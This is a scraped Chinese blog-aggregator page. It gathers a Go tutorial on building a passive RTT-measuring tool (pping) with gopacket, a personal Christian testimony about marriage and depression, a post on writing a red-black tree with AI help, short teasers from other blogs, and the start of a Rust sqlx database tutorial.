12345678910111213141516171819202122232425262728// processPacket 用于处理捕获到的数据包func processPacket(pkt gopacket.Packet) {// 从数据包中获取 TCP 层tcpLayer := pkt.Layer(layers.LayerTypeTCP)if tcpLayer == nil {not_tcp++return}tcp, _ := tcpLayer.(*layers.TCP)// 从 TCP 选项中获取时间戳信息// 如果 TSval 为 0 或者 TSecr 为 0 并且不是 SYN 包，则不处理该数据包tsval, tsecr := getTSFromTCPOpts(tcp)if tsval == 0 || (tsecr == 0 && !tcp.SYN) {no_TS++return}// 从数据包中获取网络层// 如果网络层不是 IPv4 或 IPv6，则不处理该数据包netLayer := pkt.Layer(layers.LayerTypeIPv4)if netLayer == nil {netLayer = pkt.Layer(layers.LayerTypeIPv6)if netLayer == nil {not_v4or6++return}}目前为止我们从包中解析除了IP包和TCP包，接下里我们得到源目IP和源目端口，以及捕获时间：
123456789101112131415161718192021222324252627282930// 从网络层中获取源 IP 和目的 IP// 从 TCP 层中获取源端口和目的端口// 用于构建流的源和目的var ipsStr, ipdStr stringif ip, ok := netLayer.(*layers.IPv4); ok {ipsStr = ip.SrcIP.String()ipdStr = ip.DstIP.String()} else {ip := netLayer.(*layers.IPv6)ipsStr = ip.SrcIP.String()ipdStr = ip.DstIP.String()}srcStr := ipsStr + ":" + strconv.Itoa(int(tcp.SrcPort))dstStr := ipdStr + ":" + strconv.Itoa(int(tcp.DstPort))// 从数据包中获取捕获时间captureTime := pkt.Metadata().CaptureInfo.Timestamp// 如果 offTm 小于 0，则将捕获时间设置为 offTmif offTm < 0 {offTm = captureTime.Unix()startm = float64(captureTime.Nanosecond()) * 1e-9// 如果 sumInt 大于 0，则打印第一个数据包的时间capTm = startmif sumInt > 0 {fmt.Printf("first packet at %s\n", captureTime.Format(time.UnixDate))}} else {capTm = float64(captureTime.Unix()-offTm) + float64(captureTime.Nanosecond())*1e-9}接下来是从全局哈希表
flows中查找流，如果没有则创建一个新的流，如果反向流已经存在，则设置反向流。如果反向流不存在，不处理。123456789101112131415161718192021222324252627fstr := srcStr + "+" + dstStrfr, ok := flows[fstr]if !ok { // 新流// 如果流的数量大于 maxFlows，则返回if flowCnt >= maxFlows {return}fr = &flowRec{flowname: fstr,min: 1e30,}flows[fstr] = frflowCnt++// 如果反向流已经存在，则设置反向流if _, ok := flows[dstStr+"+"+srcStr]; ok {flows[dstStr+"+"+srcStr].revFlow = truefr.revFlow = true}}fr.last_tm = capTm// 如果反向流不存在，不处理if !fr.revFlow {uniDir++return}既然找到反向流了，说明正向反向的两个packet我们都获取到了了，那么就可以利用两次的捕获时间计算 RTT 了：
12345678910111213141516171819202122232425262728293031323334353637383940414243// 统计流的发送字节数arr_fwd := fr.bytesSnt + float64(pkt.Metadata().Length)fr.bytesSnt = arr_fwd// 增加时间戳if !filtLocal || localIP != ipdStr {addTS(fstr+"+"+strconv.FormatUint(uint64(tsval), 10), &tsInfo{capTm, arr_fwd, fr.bytesDep})}// 处理对应的反向流ti := getTS(dstStr + "+" + srcStr + "+" + strconv.FormatUint(uint64(tsecr), 10))if ti != nil && ti.t > 0.0 {// 这是返回的数据包的捕获时间t := ti.trtt := capTm - tif fr.min > rtt {fr.min = rtt // 跟踪最小值}// fBytes 存储了从源到目标的数据流的字节数fBytes := ti.fBytes// dBytes 存储了从目标到源的数据流的字节数dBytes := ti.dBytes// pBytes 存储了从上一次发送到现在的数据包的字节数pBytes := arr_fwd - fr.lstBytesSnt// 更新上一次发送的字节数为当前的发送字节数fr.lstBytesSnt = arr_fwd// 更新反向流的依赖字节数为 fBytesflows[dstStr+"+"+srcStr].bytesDep = fBytesif machineReadable {// 打印捕获时间戳、本次rtt值、此流的最小值、字节数信息fmt.Printf("%d.%06d %.6f %.6f %.0f %.0f %.0f", int64(capTm+float64(offTm)), int((capTm-float64(int64(capTm)))*1e6), rtt, fr.min, fBytes, dBytes, pBytes)} else {// 打印捕获时间、本次rtt值、此流的最小值、流的五元组fmt.Printf("%s %s %s %s\n", captureTime.Format("15:04:05"), fmtTimeDiff(rtt), fmtTimeDiff(fr.min), fstr)}now := clockNow()if now-nextFlush >= 0 {nextFlush = now + flushInt}ti.t = -t // 将条目标记为已使用,避免再次保存这个 TSval}pktCnt++}清理过期数据
如果不清理，
flows和tsTbl中的数据会越来越多，最终撑爆。
我们遍历，删除过期的数据。123456789101112131415// 清理超期的数据func cleanUp(n float64) {// 如果 TSval 的时间超过 tsvalMaxAge,则删除条目for k, ti := range tsTbl {if capTm-math.Abs(ti.t) > float64(tsvalMaxAge)/float64(time.Second) {delete(tsTbl, k)}}for k, fr := range flows {if n-fr.last_tm > float64(flowMaxIdle)/float64(time.Second) {delete(flows, k)flowCnt--}}}使用 pflag 解析参数
相对于标准库的 pflag,
github.com/spf13/pflag功能更为强大。这里我们使用它解析参数，可以设置短参数和长参数:12345678910111213141516171819var (liveInp = pflag.StringP("interface", "i", "", "interface name")fname = pflag.StringP("read", "r", "", "pcap captured file")filterOpt = pflag.StringP("filter", "f", "", "pcap filter applied to packets"))func main() {pflag.DurationVarP(&sumInt, "sumInt", "q", 10*time.Second, "interval to print summary reports to stderr")pflag.BoolVarP(&filtLocal, "showLocal", "l", false, "show RTTs through local host applications")pflag.DurationVarP(&timeToRun, "seconds", "s", 0*time.Second, "stop after capturing for <num> seconds")pflag.IntVarP(&maxPackets, "count", "c", 0, "stop after capturing <num> packets")pflag.BoolVarP(&machineReadable, "machine", "m", false, "machine readable output")pflag.DurationVarP(&tsvalMaxAge, "tsvalMaxAge", "M", 10*time.Second, "max age of an unmatched tsval")pflag.DurationVarP(&flowMaxIdle, "flowMaxIdle", "F", 300*time.Second, "flows idle longer than <num> are deleted")pflag.Parse()...}静态编译
差点忘了。
我们使用gopacket来捕获数据包，它依赖于libpcap。我们需要在编译时链接libpcap库。但是在不同的操作系统上，libpcap的位置和名称可能不同。为了解决这个问题，我们可以使用CGO来链接libpcap库，然后使用go build来编译我们的程序。1go build -o pping .不过如果你使用
ldd查看这个程序，你会发现它有很多依赖的动态库:1234567[root@cypress pping]# ldd ppinglinux-vdso.so.1 => (0x00007ffcf33e1000)libpcap.so.1 => /lib64/libpcap.so.1 (0x00007f4b81933000)libresolv.so.2 => /lib64/libresolv.so.2 (0x00007f4b81719000)libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f4b814fd000)libc.so.6 => /lib64/libc.so.6 (0x00007f4b8112f000)/lib64/ld-linux-x86-64.so.2 (0x00007f4b81b74000)我们可以采用静态链接的方式，这样编译出来的pping,可以轻松的复制到其他的Linux机器上运行，不需要安装libpcap库。
123456789101112[root@cypress pping]# go build -ldflags "-linkmode external -extldflags -static" .# github.com/smallnest/pping/tmp/go-link-79680640/000006.o：在函数‘_cgo_97ab22c4dc7b_C2func_getaddrinfo’中：/tmp/go-build/cgo-gcc-prolog:60: 警告：Using 'getaddrinfo' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking//usr/local/lib/libpcap.a(nametoaddr.o)：在函数‘pcap_nametoaddr’中：/root/libpcap-1.10.0/./nametoaddr.c:181: 警告：Using 'gethostbyname' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking//usr/local/lib/libpcap.a(nametoaddr.o)：在函数‘pcap_nametonetaddr’中：/root/libpcap-1.10.0/./nametoaddr.c:270: 警告：Using 'getnetbyname_r' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking//usr/local/lib/libpcap.a(nametoaddr.o)：在函数‘pcap_nametoproto’中：/root/libpcap-1.10.0/./nametoaddr.c:527: 警告：Using 'getprotobyname_r' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking[root@cypress pping]# ldd pping不是动态可执行文件它的使用方法和标准库的flag类似。这样我们就能保证和c++的pping工具一样的参数解析了。
基于"Rust重写一切"的哲学，我期望早点能看到大家用Rust实现的 pping。
- 博客 欧雷流 2024-05-20 12:01:03
- 博客 MacTalk-池建强的随想录 2024-05-20 11:01:17上周看到一位朋友说，怎么最近墨问里都开始读村上春树了，其实很多人一直都读，尤其是 … Continue reading →
- 博客 吕小荣的网志 2024-05-20 08:00:00
各位弟兄姐妹，
今天很开心站在这里分享我和刘小坤的故事。今天我要分享的并不是我自己的见证，而是见证刘小坤的变化。
我和刘小坤结婚快14年了，我非常珍爱刘小坤。
这种爱慕、依恋和彼此扶持并不是出于圣经的教导，而是出于一种恩情。在成为基督徒的很长一段时间内，我并不觉得是神拯救了我，而是刘小坤拯救了我。
初期的艰难
在和刘小坤恋爱之前，我的状态非常糟糕。我的原生家庭中，父亲罹患精神分裂症，我自己从高中开始罹患抑郁症，焦虑，强迫症。这些心理问题持续到工作后的许多年。我不清楚是原生家庭的影响，还是遗传因素。
每年冬天，当抑郁症发作时，我就像一个带着面具的人，虽然表面上我脸上挂着笑容，但内心却冰冷如冰窖。同学、朋友、家人就在眼前，却仿佛隔着一堵墙，自己则在墙后面孤立无援。我也吃不起抗抑郁药物百忧解，因为我一个月生活费才300元，一瓶百忧解就300元。
作为一个抑郁症患者，每天醒来都是沉重的痛苦，痛苦在白天中慢慢减轻，经历另外一夜，又在痛苦中醒来，日复一日的循环，没有希望。
每年我都提醒自己要苟活着，为父亲苟活着，为奶奶苟活着。想从楼顶一跃而下，我不想看到他们为我流泪。
可以毫不夸张地说，在遇到刘小坤之前，我的世界就像灰色的、暗淡无光。
恋爱
和刘小坤恋爱后，生命中总算照入一缕阳光。虽然每年冬天还是会抑郁症发作，但这一缕阳光让我觉得，“嗯，活着还是有一点点意思的。”
当然，你们可能好奇，刘小坤是怎么想的，为什么要和一个抑郁症患者谈恋爱啊。我很自私，我没有交实底，我并没有告诉她每年冬天我都会抑郁症。答案我太需要她了，我太依恋她了。只有和她在一起，我内心会平静下来。
大学期间，刘小坤是奋发图强的人，和她谈恋爱，基本就是陪她上自习，一天到晚在图书馆待着。而我饱受抑郁症和失眠的折磨，有心无力，学习成绩跟不上。有时候我特别怕被刘小坤甩了。但我还是咬咬牙，为了爱情拼命学习，和她一起考上了上海交通大学医学院。
在相处了几年之后，我向她坦白了我的父亲的精神分裂有时会发作，我每年冬天都会抑郁症发作，我有焦虑症状，她却没有离开我，硕士研究生还没毕业，我们就结婚登记了。所以这份恩情，我记一辈子，后面无论遇到再大的风浪，我都不会离开她。
婚后分歧
结婚后，我们的人生轨迹发生了变化。
我离开了医院，放弃了医生的职业，进入了互联网行业做产品经理，然后成了一个程序员。因为每天都是做的自己感兴趣的事情，每天都充满了干劲。
刘小坤则开始躺平的生活。经过了日日夜夜的寒窗苦读，毕业于最好的院校之一，找到了一份安稳的工作，难道不能享受片刻生活的平静吗？她的爱好是看玄幻小说，市面上各种玄幻小说，她基本上都看完了，比如《三生三世桃花庵》。
她觉得没有问题，我觉得问题很大。一天只有24个小时，睡觉8个小时，刘小坤一天刷7个小时的手机。我总是在心里暗暗的想 “这些垃圾玄幻小说，既不能给你人生意义的答案，也不能让你赚钱，无论是精神上还是物质上，都没有任何益处，你沉湎在其中干嘛”。
我质问刘小坤，你天天泡在手机里，当你在给病人看病时，她你在认真听病人的话吗？当和我吃饭，你也也在刷手机，我就像空气一样。我们为此常常吵架。
结婚后，我先信主，刚信主的那几年，我每天都像打了鸡血一样，小组内带查经，安排教会值日，组织退休会，更多的参与了教会的服侍。从刘小坤的视角里，我除了工作和休息，就是在忙教会的事情，她觉得我不爱她，我更爱教会。
我们也为周日聚会吵架，我不想迟到，但刘小坤并不在乎。我们每周日早晨必为了时间问题吵架。即使到了教会，刘小坤还是像局外人一样，继续刷玄幻小说，刷自己的淘宝。
我尝试通过各种方式让她感受到爱，但都没有效果。比如按照《爱的五种语言》方法，逐个尝试，让刘小坤感受到”信仰的力量“。刘小坤一下就识破了我的动机，知道我背后的动机其实是要改变她，塑造她，按照我的方式去生活。所以她说你太 ”刻意“和”矫揉造作“，并且她不吃这一套。
我放弃了去改变一个人，我学会了尊重她的自由意志。不管她信还是不信，不可强求，单纯爱她就好了。刘小坤来小组，来教会。她有时像个局外人，安静的坐着。有时聆听倾听别人遇到的生活的烦恼。有时候也会向别人抱怨“吕小荣像个机器，做吕小荣的妻子有多难”，更多时候会跟着大家查考经文。
新无神论
就在刘小坤岁月静好时，我的信仰生活却在大起大落，火热来的快，信仰危机也很快。在信主几年后，我的信仰在新无神论面前冲击面前几乎崩盘了。新无神论尝试打碎宗教，但又没有指明道路，只带来了虚无和绝望。我又开始抑郁症发作了。
我和刘小坤睡前经常聊天，一聊就是一两个小时。
• 我们的存在是为了什么？会不会毫无意义，但过于冰冷和绝望。但我接受不了这答案，不敢直视，所以在宗教中寻找一些意义，这样才能成为我活下去的理由。 • 道德是美德吗，还是社会效率最大化的工具？道德是否是弱者压制强者的工具？我们要遵守道德吗？我们要诚信吗？
王怡牧师曾经把中国家庭教会的正统归结为 “封闭”。但是这种封闭对遭受自由神学，新无神论思潮冲击的的人来说，他们要孤独的面对信仰的崩盘，周围的人没有解药。
刘小坤成了我的知心大姐姐，我的心理医生，我的探寻信仰旅途的伴侣。
我游离在怀疑论者，新无神论，基督教之间，在我自己还没有得到一个准确答案之前，是刘小坤允许我质疑上帝的存在，允许我发问，允许我大胆怀疑，允许我自说自话。
我也向刘小坤倾诉为什么我没有办法传福音。我无法信誓旦旦，言之凿凿的向别人推荐一个自己不能确信的东西。如果拍着胸脯对别人说 “耶稣是真理，是道路，喝了这水就再也不渴，是解决人世间所有问题的唯一解药”，我会觉得自己在撒谎。
祈克果: 信心的一跃
我也尝试了另外一条路，用科学和理性是证明上帝的存在。我也像向小坤倾诉，证明 “神存在与不存在”是如何荒谬的事情。
• 人类如此渺小，理性如此有限，(新)无神论者对此前设绝口不提，却武断的断言 “这世界没有神”，简直狂妄至极。 • 基督徒尝试用自然科学证明上帝存在，无视别人对钟表匠理论的反驳，只管自说自话。
一切的推导，一切的理论体系，回到逻辑起点，都只有一个前设问题：我们是否相信这世界是神创造？
如果选择相信，那么我看待这个世界的视角就变为：日月交替，春夏秋冬，路边小草的每一片叶子，都在陈述上帝的荣耀。上帝的存在毋庸置疑。
如果选择不相信，你需要在混乱的哲学流派中找到真理，并践行自己的真理。
祈克果: 我们无法依靠逻辑和知识来确认信仰是否是真的，单凭理性达不到信仰的彼岸，只有纵身一跃，才有可能跃过知识逻辑与信仰之间的鸿沟。
我向刘小坤坦言，我要放弃论证了，我要放弃探寻了，我要纵深一跃了，我无法保证这条路百分之百正确，虽然崎岖，这条路似乎也是人本来应走的路。我们应该开启一段冒险的旅途。
经历这么多年漫长的思辨，她也告诉我，她相信了，但是还没有准备好受洗仪式。
受洗
真的是感谢 Jean ，把刘小坤一直放在心上，一次次和她谈心，最终让刘小坤下定决心受洗。
她受洗后，对圣经的好奇心被骤然打开。
• 为了看懂但以理书的预言，她会研究巴比伦历史，波斯帝国，希腊帝国，罗马帝国。 • 为了看懂先知书，她会把以色列人的被掳，被归回，时间点，在任的国王，研究的一清二楚。 • 她参加磐石课程
每次小组查考旧约，如果大家对年份不清楚，就会问刘小坤。
鉴于 “我不知道我不知道的东西”，所以我没有办法陈述刘小坤对圣经历史的浓厚兴趣以及造诣。因为我实在记不住历史王朝的更替。
我只感叹我曾费劲心机要改变她，徒劳无果。
我惊叹于神改变人心的能力，在后的反而在前了。
刘小坤是神对我的恩典
但转念一想，我也从没有在前过，刘小坤从没有在后面过。
刘小坤在没有信主的时候，刘小坤以极大的忍耐去迁就我来小组和教会。换位思考一下，如果我是不信主的人。我愿意每周五去小组吗？我愿意每周日陪着另一半去教会吗？我愿意和一群不熟悉的人吃饭吗？还要准时，不准迟到！这是多么大的一笔时间开支啊。换作是我，我肯定会断然拒绝。
在我的生命里，我对刘小坤感谢越多，就会对神感谢越少，有时候我会质问神？
- 当我父亲精神分裂，每夜在屋顶游荡时，你在哪呢？
- 当我家里一贫如洗，尝尽人情冷暖时，你在哪呢？
- 当我在10年的抑郁症患病时，你在哪里？
你说爱我，但当这么多的苦难发生在我身上时，你在哪呢？
但是我有一天看到箴言箴言 19:14
房屋钱财是祖宗所遗留的；惟有贤慧的妻是耶和华所赐的。
如果我相信神的大能，相信细微到每个原子在宇宙中的运行轨迹他都知道，刘小坤在我生命的旅程中，恰到好处的出现，就是他所安排给我的馈赠。
我感恩神在信仰的旅程中，给我安排了这位灵魂的伴侣。
- 博客 二丫讲梵 2024-05-19 19:24:23如要阅读全文，点击标题跳转。在编写 pipeline 脚本时，合理规划并运用每个步骤的错误处理，是非常关键的，因为这些错误信息能够在流水线出错的时候，辅助我们快速定位导致错误的原因，从而判别出问题的真正原因。Jenkins 的错误处理形式有好几种，因此这里将这几种方式都进行一下罗列，给你的流水线实践提供一个参考。这里先围绕几个关键字及其对应的特性进行介绍，最后再介绍一个个人实践当中常用的一个方案。
- 博客 西秦公子 2024-05-19 16:57:14在使用 CapRover 并配置域名为 HTTPs 域名时，在你访问管理后台时，可能会导致触发Chrome 自 […]
- 博客 鸟窝 2024-05-19 15:24:10
红黑树（英语：Red–black tree）是一种自平衡二叉查找树，是在计算机科学中用到的一种数据结构。它在1972年由鲁道夫·贝尔发明，被称为“对称二叉B树”，它现代的名字源于利奥尼达斯·J·吉巴斯和罗伯特·塞奇威克于1978年写的一篇论文。红黑树的结构复杂，以至于有些个别公司拿它当做面试题现场实现，但它的操作有着良好的最坏情况运行时间，并且在实践中高效：它可以在
O(log^n)时间内完成查找、插入和删除。红黑树是每个节点都带有颜色属性的二叉查找树，颜色为红色或黑色。在二叉查找树强制一般要求以外，对于任何有效的红黑树我们增加了如下的额外要求：
- 性质1: 节点是红色或黑色。
- 性质2: 根是黑色。
- 性质3: 所有叶子都是黑色（叶子是NIL节点）。
- 性质4: 每个红色节点必须有两个黑色的子节点。（或者说从每个叶子到根的所有路径上不能有两个连续的红色节点。）（或者说不存在两个相邻的红色节点，相邻指两个节点是父子关系。）（或者说红色节点的父节点和子节点均是黑色的。）
- 性质5: 从任一节点到其每个叶子的所有简单路径都包含相同数目的黑色节点。
下面是一个具体的红黑树的图例：
因为每一个红黑树也是一个特化的二叉查找树，因此红黑树上的只读操作与普通二叉查找树上的只读操作相同。
然而，在红黑树上进行插入操作和删除操作会导致不再符合红黑树的性质。恢复红黑树的性质需要少量(
O(log^n))的颜色变更（实际是非常快速的）和不超过三次树旋转（对于插入操作是两次）。虽然插入和删除很复杂，但操作时间仍可以保持为O(log^n)次。这里我们就不详细介绍红黑树了，这不是问题额度重点。重点是Go标准库中没有实现红黑树，或者说没有直接暴露一个公共的红黑树实现，我们尝试实现它。
当然，已经2042年了，G我们可以借助AI的能力，帮助我们实现一个基本的红黑树，然后我们再做调整。
我尝试使用多个AI模型，比如文心一言、通义千问、CLaude、Gemini,并借助Copilot的帮助，最终生成了一个基本的红黑树实现。为了更高效的实现，我决定请AI模拟Rob Pike或者字节跳动的同学来实现一个红黑树,我的提示语如下：
1Go语言中有 BTreeMap实现吗？如果没有，请实现一个`
我对实现不满意，所以我又尝试了一次：
1请你模拟Rob Pike, review这个实现，指出实现的问题，并提供一个优化的版本这里你可以把Rob Pike换成字节跳动的同学。
基本实现了一个红黑树，我看了一下，明显
Size字段没有更新，所以我让Copilot把它实现了，包括查找和遍历的方法：123这个红黑树没有实现Size，请修复。为这个红黑树提供查找方法.为这个红黑树提供遍历方法它修复了一版。
默认它实现的查询和遍历的方法是采用递归的方式，层级多了栈可能会有问题或者溢出，所以我又请它按照非递归的方式实现了。
然后我又让Copliot帮我review了实现：
1假定你是Rob Pike, 基于你的经验和哲学，请你review这个红黑树的实现，列出问题和可优化的项。根据反馈的结果，又做了一些优化，比如
Size在节点为空的时候不应该--等。好了，目前我们让Rob Pike实现了这个红黑数，可以让Copilot帮我们实现单元测试。
我是每一个输出方法，单独的询问Copilot，让它生成的单元测试，比如：1为Get方法生成单元测试执行单元测试，好真的发现了一些边界情况的处理，没检查nil的情况。
看到中间AI产生的代码包括如此多的错误，我有点不放心了，怎么办？
增加 Fuzz Test, 还是让Copilot帮我实现：
1请为这个RBTree的Insert和Delete方法，生成fuzz test不过生成的代码有问题，我狠狠批评了Copilot，指出它的错误，让它重新生成了Fuzz Test，这次梅问题了:
123456789101112131415161718192021222324252627282930func FuzzInsert(f *testing.F) {f.Add(3, "three")f.Add(1, "one")f.Add(2, "two")f.Add(4, "four")f.Fuzz(func(t *testing.T, key int, value string) {tree := NewRBTree()tree.Insert(key, value)if val := tree.Get(key); val != value {t.Errorf("Expected %v, got %v", value, val)}})}func FuzzDelete(f *testing.F) {f.Add(3, "three")f.Add(1, "one")f.Add(2, "two")f.Add(4, "four")f.Fuzz(func(t *testing.T, key int, value string) {tree := NewRBTree()tree.Insert(key, value)tree.Delete(key)if val := tree.Get(key); val != nil {t.Errorf("Expected nil, got %v", val)}})}`
运行Fuzz Test:
12go test -fuzz=FuzzInsert -fuzztime=1mgo test -fuzz=FuzzDelete -fuzztime=1m大功告成。
通过这个实践，我们可以看到AI:
- 可以让AI模拟专家的形式，生成更专业的代码
- 目前AI生成的代码还是有问题的，还需要开发者检查和甄别
- 可以让AI帮我们review代码，找出问题和优化项
- 可以让AI帮我们生成单元测试，这些枯燥的测试AI还是很擅长的
实现的RBTree代码在：rbtree.go
单元测试代码在: [rbtree_test.go][https://github.com/smallnest/exp/blob/master/container/maps/rbtree_test.go] - 博客 bang's blog 2024-05-19 11:07:13继续学习 Stable Diffusion，这次想以搭建一个实际可用的生图场景 — 黏土风格作为引导，弄清楚整 […]
- 博客 构建我的被动收入 2024-05-19 08:00:00BMPI周记001：开始直播
- 博客 西秦公子 2024-05-18 14:19:33今天参加一个线下活动，和朋友聊起来对于 AI 的恐惧和焦虑，问我该不该引导孩子去接触这一轮的 AGI 工具、接 […]
- 博客 maxOS 2024-05-18 12:47:51黑天鹅事件是指那些难以预测但是冲击性极大的事件。难以预测的原因是：1）现实是非线性的，极小的变动都可能会产生巨大的影响；2）人类的认知偏误，导致我们会忽略黑天鹅事件发生的信号；3）我们的社会「并不鼓励」预防灾难，因为灾后救助的行为更容易获得认可和奖励。
- 博客 二丫讲梵 2024-05-17 05:01:25如要阅读全文，点击标题跳转。学习周刊-总第159期,新的vue管理后台与看板项目
- 博客 构建我的被动收入 2024-05-16 08:00:00投资交易已十年，分析我对交易的理解。
- 博客 唐巧的博客 2024-05-15 22:27:35
最近读完了海尔的创始人张瑞敏的《永恒的活火》。张瑞敏从 1984 年创立海尔以来，将海尔从一个小厂变成了一家世界 500 强企业，这本书主要介绍了他的“人单合一”的管理理念。
以下是一些读书总结。
一、什么是人单合一
人单分别指的是人：员工；单：用户。
人单合一的核心思想是将管理模式面向员工和用户做调整，以便调动员工最大的工作积极性，激发产品创新力。同时用市场化的方式来检验团队的成果，让大家关注点都集中在产品售卖和用户体验上。
具体来说，在人单合一的模式下，员工是以混合业务小组（书中把它称作链群合约的小微）存在的，小组内部通过自发的选拔来形成小组长，小组长背负大家认可的绩效目标，同时业务如果发展得好，小组长也可以获得更大的经济收益。
书中并没有详细介绍混合业务小组的职位构成，但强调产品和销售同事都需要为最终的售卖结果负责。
在用户方面，人单合一讲求让小组自己发现和尝试产品机会。把小组变成一个个产品创新的实验田。在评价产品的时候，组织用纯市场的方式来评估，即只有销量好的产品才是真正命中市场需求的产品。
如何评价好的产品，作者引入了很多价值维度。强调给用户的体验增值作为核心评价指标。
对于职能化的团队，张瑞敏把它变成了为小组赋能的中台单元。这种更像是服务的中台限制了职能团队对业务的话语权，使得业务小组的权力更大。
另外张瑞敏砍掉了很多中层领导，让一线员工自己做决策。
二、本书的优点
作为普通人很难接触到世界 500 强的 CEO 的系统性观点。张瑞敏作为在中国成长起来的企业家，他的管理观点融入了中国的传统文化，更容易被大家理解和接受。
本书的核心管理观点“人单合一”也特别适合当下这个信息爆炸的时代。《构建网状组织架构 - 赋能》一书里面也对现代组织有类似的观点，只是角度不一样。
另外，张瑞敏在书中也提及了很多管理大师的观点和著作，可以作为补充阅读材料。
三、本书的缺点
这本书虽然作者是张瑞敏，但是其实是张瑞敏和其他管理学者的访谈录。作为访谈录这本书有两个缺点：
1、全书都是张瑞敏参加线下访谈的内容，而访谈双方也都很友善，所以并没有什么特别不同的观点碰撞。
其实访谈如果像李翔那样做得很有深度也很好，但是像本书这样的访谈，由于双方都不是专业做访谈的，所以提问的结构，对受访者回答的引导和深挖都显得不够专业。
2、这本书有足足 600 页厚，最主要的观点就是“人单合一”。全书的访谈中多次重复提到这个观点，但是对观点的阐述多集中在原理层面，但在执行层面上的难度，张瑞敏虽然有多次提及，但是却没有系统的说明。
一些有助于人单合一的管理工具（例如人单合一计分卡、共赢增值表），张瑞敏在书中也是点到为止，没有从设计角度解释这些工具的产生过程和设计思路。
这就造成了张瑞敏虽然在 20 年前的 2005 年就提出了“人单合一”，但是其管理思想的讨论和实践仍然不流行。
以上。
- 博客 西秦公子 2024-05-14 22:39:45本文内容仅作为个人体验分享，不作为任何医疗建议提供。如已有相关疾病，建议尽快就医咨询医生。 CGM（Conti […]
- 博客 Randy's Blog 2024-05-14 08:00:00352
- 博客 bang's blog 2024-05-13 18:29:53最近关注和学习 AI 比较多，包括 AIGC 和 LLM 大模型，现在 AI 的原理介绍和入门教程已经非常多了 […]
- 博客 maxOS 2024-05-12 22:56:55Google 广告的收入依赖于用户搜索的次数，而高质量的搜索引擎只需要用户搜索最少的次数就可以得到结果，商业化与用户体验相冲突的 Google 毫不犹豫的选择了商业化，搜索的体验下降也就不可避免了。
- 博客 鸟窝 2024-05-12 10:42:26
上一篇我介绍了Go生态圈的sqlx库。 Rust生态圈也有一个知名的sqlx库，今天给大家介绍一下。这两个没有什么关联啊，纯粹属于名称相同而已。
概览
sqlx是一个为Rust语言提供的功能齐全的数据库访问和查询构建器库。它支持多种数据库,包括PostgreSQL、MySQL、SQLite等。sqlx的设计目标是成为Rust中最直观、高效且类型安全的数据库客户端。
- 真正的异步。从头开始使用 async/await 构建，以实现最大的并发性。
- 编译时检查查询（如果你需要的话）。请注意，sqlx 不是 ORM。
- 与数据库无关。支持 PostgreSQL、MySQL、MariaDB、SQLite。
- 纯 Rust。Postgres 和 MySQL/MariaDB 驱动程序是使用零不安全的代码以纯 Rust 编写的。
- 与运行时无关。在不同的运行时（async-std/tokio/actix）和 TLS 后端（native-tls，rustls）上运行。
- SQLite 驱动程序使用 libsqlite3 C 库。
- sqlx 除非启用了 sqlite 功能，否则会使用 #![forbid(unsafe_code)]。SQLite 驱动程序通过 libsqlite3-sys 直接调用 SQLite3 API，这需要使用不安全的代码。
另外，它还有以下特性：
- 跨平台。作为原生的 Rust 代码，sqlx 可以在任何支持 Rust 的平台上编译。
- 内建的连接池功能，使用
sqlx::Pool。 - 行流式处理。数据从数据库异步读取并按需解码。
- 自动的语句准备和缓存。当使用高级查询 API（
sqlx::query）时，语句将按连接进行准备和缓存。 - 简单的（未准备）查询执行，包括将结果获取到与高级 API 使用的相同 Row 类型。支持批量执行并返回所有语句的结果。
- 传输层安全性（TLS）在支持的平台（MySQL、MariaDB 和 PostgreSQL）上可用。
- 使用
LISTEN和NOTIFY以支持 PostgreSQL 异步通知。 - 支持保存点的嵌套事务。
- 任何数据库驱动程序，允许在运行时更改数据库驱动程序。
AnyPool根据 URL 方案连接到指定的驱动程序。
sqlx 支持编译时检查的查询。然而，它并不是通过提供一个 Rust API 或 DSL（特定领域语言）来构建查询来实现这一点的。相反，它提供了宏，这些宏接受常规的 SQL 作为输入，并确保其对于您的数据库是有效的。其工作原理是，sqlx 在编译时连接到您的开发数据库，让数据库本身验证（并返回一些有关）您的 SQL 查询的信息。这有一些可能令人惊讶的含义：
- 由于 sqlx 不需要解析 SQL 字符串本身，因此可以使用开发数据库接受的任何语法（包括数据库扩展添加的内容）
- 由于数据库允许您检索的查询信息量不同，从查询宏获得的 SQL 验证的程度取决于数据库。
它不是一个ORM库，你如果想使用ORM库，可以参考ormx和SeaORM。
安装
sqlx支持多种异步运行时，你可以通过选择不同的特性来使用不同的异步运行时。目前支持的异步运行时有
async-std,tokio和actix(其实是tokio的别名)。还支持TLS的连接：1234567891011121314151617# Cargo.toml[dependencies]# P挑选下面的一行引入sqlx:# tokio (no TLS)sqlx = { version = "0.7", features = [ "runtime-tokio" ] }# tokio + native-tlssqlx = { version = "0.7", features = [ "runtime-tokio", "tls-native-tls" ] }# tokio + rustlssqlx = { version = "0.7", features = [ "runtime-tokio", "tls-rustls" ] }# async-std (no TLS)sqlx = { version = "0.7", features = [ "runtime-async-std" ] }# async-std + native-tlssqlx = { version = "0.7", features = [ "runtime-async-std", "tls-native-tls" ] }# async-std + rustlssqlx = { version = "0.7", features = [ "runtime-async-std", "tls-rustls" ] }如果你引入了多个异步运行时，默认首选
tokio。同时你也需要引入所需的数据库特性:
1234sqlx = { version = "0.7", features = [ "postgres" ] }sqlx = { version = "0.7", features = [ "mysql" ] }sqlx = { version = "0.7", features = [ "sqlite" ] }sqlx = { version = "0.7", features = [ "any" ] }以及一些其他的关于数据类型的特性等，比如
chrono、uuid、time、bstr、bigdecimal、rust_decimal、ipnetwork等。derive支持derive类型的宏，如FromRow,Type,Encode,Decode.macros增加了对 query*! 宏的支持，该宏允许进行编译时检查的查询。一个简单的sqlx示例如下：
12345678910111213141516171819use sqlx::postgres::PgPoolOptions;#[tokio::main] // 异步运行时async fn main() -> Result<(), sqlx::Error> {// 使用一个数据库的连接池// 不同的数据库选择不同的连接池构建器let pool = MySqlPoolOptions::new().max_connections(5).connect("mysql://root:password@localhost/test").await?;// 执行一个简单的查询let row: (i64,) = sqlx::query_as("SELECT ？").bind(150_i64).fetch_one(&pool).await?;assert_eq!(row.0, 150);Ok(())}连接数据库
sqlx支持多种不同的方式来连接数据库。最常见和推荐的是使用连接池。
建立连接池
连接池可以显著提高应用程序的性能和并发能力。通过重用连接,减少了建立新连接的开销。
